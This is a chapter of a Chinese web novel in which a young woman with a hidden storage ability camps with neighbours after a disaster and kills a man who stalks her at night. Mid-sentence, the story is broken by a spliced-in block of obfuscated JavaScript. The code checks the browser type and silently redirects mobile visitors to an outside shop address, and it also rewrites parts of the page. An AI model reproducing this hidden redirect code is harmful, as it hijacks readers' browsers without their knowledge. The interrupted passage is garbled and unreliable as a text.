周波:“云莳啊,你是不是因为要经常戴口罩,所以干脆cos裂口女,这也太方便了!”
王婶没接触过这些,问了一嘴:“裂口女是什么?”
“嗯……很多种故事版本,我记得的版本是说有个女生去做整容手术,闻到医生头上有臭味就不停扭动,结果医生不小心剪到她的嘴巴,女生因为毁容就暴怒杀死了医生。”
“这个裂口女后来经常在一些学校附近徘徊,喜欢抓小孩子问‘我美丽吗?’,最后要么摘口罩吓孩子,要么杀了孩子吃掉。”
王婶大为震惊:“这么凶残?!”
云莳:“我才不会问,也不爱吃小孩。”
梁禹川:“你只会问什么时候能吃饭,一天三顿落不下。”
王婶笑了:“吃得下是好事,小莳就是瘦了些,多吃饭才能身体好。”
周波拍拍胳膊:“那我身体绝对杠杠的!”
见话题转到吃饭上面,梁禹川不着痕迹捻了捻手指,刚才的皮肤触感……难道她是利用空间将口罩收进去,露出了原本的样子?
祝知香低头串链子一边听着大家聊天,心里的郁结慢慢地被抚平些,待在这里比回去更令她放松。
忽然一股香味扑面而来,祝知香抬头,一碗温热的皮蛋瘦肉粥端到她面前。
云莳:“先别弄了,尝尝好不好吃。”
祝知香愣愣接过碗,胃里突然一阵抽痛,从昨晚到现在她只吃了一碗白粥和一小包梳打饼干,闻到粥香身体才反应过来早已经饿狠了。
“谢谢。”祝知香垂眼,从喉间哽出一声低低的道谢。
云莳正要端着碗进帐篷,又放下碗去帐篷里拿出东西,见梁禹川出神盯着她,那正好:“先别吃,来帮忙。”
免费厨子·梁·免费苦力·禹川:“……”
云莳拿出的是露营用的超大号天幕,刚好旁边是花坛还有一些柱子,大家一看饭都不吃了,先齐心协力把天幕支起来,正好能把他们这几家的位置遮住。
王婶:“多亏了小莳,有这东西遮挡就不会太晒了。”
没了直射的阳光,大家吃饭也吃得舒坦,再过去一些的钱家和祝家就没那么好运了,祝家两夫妻回来见这阵仗又羡慕又气闷,怎么就不能也把他们罩进去?
最后碍于所谓体面,两人没有表露出什么,钱耀倒是盯着看了一会儿,又低头吃完剩下的泡面,脸上表情一直阴恻恻的。
到了下午气温又往上升了几度,三十三度的室外还没有半点凉风,帐篷里十分闷热。
外面卖伞的卖床单布料的店铺跟着热闹起来,找点工具拼拼凑凑能搭出个简单天幕来,不然买把伞挡一挡也好,也有人直接跑去阴凉些的树下挤着躲太阳。
小区里很安静,大家被热得只想贪凉休息,话都不想多说几句,说干了喉咙还得买水喝。
周波弄来了两把塑料躺椅,说是硬磨着百货店老板用线上支付,才卖了两把给他,回来自己也没用上,一把给了年纪最大的李大爷,一把给了怀着孕的苏曼。
梁禹川趁着人少,拎起两个大号水桶又去打水,满满两大桶看着心头都凉爽点。
云莳背靠沁凉的石柱子,她体温本来就偏低,对现在这温度适应良好。
她懒懒地看梁禹川,这么大太阳他就额角出了点汗,不像其他人出去一趟身上衣服都湿透了,坐得近几乎没闻到他身上有汗臭味或什么异味。
就是真跟条鱼似的离不开水,做完什么事随时都要洗手擦干净。
梁禹川见她盯着自己的手,眸光微转,然后脱下昨晚睡前被她强行戴上的百达翡丽,丢进她手里,低声说:“那个布莱尔会凑上来,你要负一半责任。”
入手还带着温度的手表让云莳回神,嚯,差点忘了。
她收起手表扔进空间,点头:“那今晚戴两块,两排更好,责任我全负了,不用客气。”
两排?他的手臂还能弯曲吗!
梁禹川用只有两人听得见的音量问:“你弄这些到底有什么用?想让我帮忙,总得给个理由吧。”
梁禹川之前以为她是贪奢享乐,钱全部拿去买这些东西了,观察久了又觉得不像,她真把这些东西当便宜批发货对待,拿出来玩一玩又收起来,关键是,量不少。
云莳迎着他压下的目光,表情神秘几乎用气音回:“养蛊。”
梁禹川睨她,一副你看我信吗的表情。
“我空间爱吃这些东西,吃得越多越大,那不得满足它?”云莳扫他一眼,“我俩半斤八两,懂得都懂。”
梁禹川噎住,懂什么?他的异能没有需要拿东西喂养,还是说不同异能的成长方式不一样?
天气燥热,四周都有人不好聊太多,两人默契就此打住。
晚上没那么热了,但空气很闷像被罩进膈膜里一样透不进半点风,让人提不起劲。
好在官方安装好了临时厕所和淋浴间,住户们几天没洗澡身上简直又脏又臭,这会儿带着洗漱品拖家带口冲过去排队了。
云莳和梁禹川主动留下来守着东西,让王婶他们先去洗澡,以防有人趁机偷东西。
等人都走了,梁禹川大刀阔斧坐在防水布上,下巴一抬:“你也去,这里我看着就行。”
他猜她应该有自己的方法能单独洗漱,云莳也没客气利落起身,临走前往他手里塞了一罐可乐。
梁禹川手指动了动,可乐咔哧一声被打开,冰爽的汽水滑入喉间,带走满身燥热。
月亮隐没在云后,昏暗偏僻的小路更是不见人影,云莳慢慢走到一处墙角停下,又装作走错路一样慌忙回身,迎面就见一个男人朝她扑了过来。
前有人后有围墙,她不可能逃得了,男人脸上露出狠笑。
谁知一抹银光极快闪过,带着金属特有的冷硬全数没入男人腰侧,又被毫不留情抽出,接着他被一脚踹倒在地。
全程不过几秒而已,男人反应过来痛得正要大喊,嘴里被塞进一团破布,他目眦欲裂地定住身体,生怕抵着脖子的匕首再捅进来。
他认识几个道上的兄弟,喝酒打人都是常事,可也没见过上来一句话没说就动刀子的,还是个他看不起的瘦弱女生!
“说说看,跟着我想做什么。”云莳俯视浑身脏乱的钱耀,眼底透出冷,“要是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373139|200028||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你坦白从宽的话,我就……”
“唔素!唔……唔素!”
哪怕嘴里塞着破布话都说不清,钱耀也迫不及待表态,云莳用匕首挑开他嘴里的布团。
“咳咳!之前……觉得你害我出洋相还坏我好事,心里不甘就找机会趁黑跟踪你,想吓吓你……”
“嗯?只是想吓吓我?”
钱耀捂着腰侧疼得差点咬掉舌头,急忙一股脑说出来:“然后侵犯折磨你,让你后悔惹了我……”
说出这句话后钱耀气血上涌,失了智在心里大骂:臭婊子,等下次找几个人把你绑了,老子一定要报今晚的仇,连本带利将你挖心剔骨!
下一秒钱耀愣住了,不可置信低头看见自己心脏破了个大洞,刺痛和冰凉不断往破洞里钻入骨血,他抖着手捂住往外喷血的胸口,断断续续发出气声:“你……不是……说放过我……吗?”
手里沾满血的匕首凭空消失,云莳站起身,“我刚才想说的是,你坦白从宽我就让你死得痛快点。”
“下次要听完别人说的话哦。”
“可惜你没有下次了。”
几句话在幽黑中如鬼魅般传入钱耀耳中,他猛地吐出几口血,几秒后彻底没了动静,面部扭曲死不瞑目。
云莳站着没动,好一会儿才可惜叹道:“收不进垃圾回收箱,果然是连垃圾都不如的废物。”
回到帐篷区,碰上洗完澡回来的王婶一行人,王婶见云莳换了身衣服,头发也半干,“小莳也洗完澡啦?”
旁边的周波撸了下寸头,“洗了澡就是舒坦,今晚肯定能睡个好觉。”
云莳点头回应,拉过小红凳坐下来,正要开口让梁禹川去洗澡,转头见他眉峰轻拢看着她。
“怎么?”
梁禹川压着声问:“发生什么事了?”
云莳澡也洗了衣服也换了,不解问:“你怎么知道?”
“我闻到血味。”不是动物的血,明显是人血的腥气。
嗯?云莳拽起衣服闻闻,撩起头发嗅嗅,只有沐浴露的味道啊。
见她像只小狗一样忙活,梁禹川无奈:“很淡,再过一会儿都散了。”
“狗鼻子啊你……拍死一只飞过来的蟑螂而已。”云莳扯好衣服,“还是你以为我去吃人了?”
梁禹川扫一遍她全身,没发现有哪里受伤,又看几眼她口罩,没再继续追问。
本以为能安稳睡个好觉,可在天蒙蒙亮的时候,不知哪里突然爆出一声尖叫吓醒了众人。
“谁在吵啊!老子刚睡沉没多久!”
有人边跑边喊:“死……死人了!”
“什么死人了?有人跑楼里去被电死了?”
一听有人死了,困意瞬间被惊没,大家都出帐篷到处了解情况。
那个喊有人死的是个大叔,特意起早想趁着天没那么热,把自己的帐篷挪到围墙那边树下比较阴凉的地方,谁知道撞见那里有死人。
物业带人跟大叔过去,后面一群住户也乌泱泱跟上去,赫然看见一个男人面朝下挂在围墙上,上面立起的尖尖围杆从男人胸口穿刺而过,暗红的血流了满墙。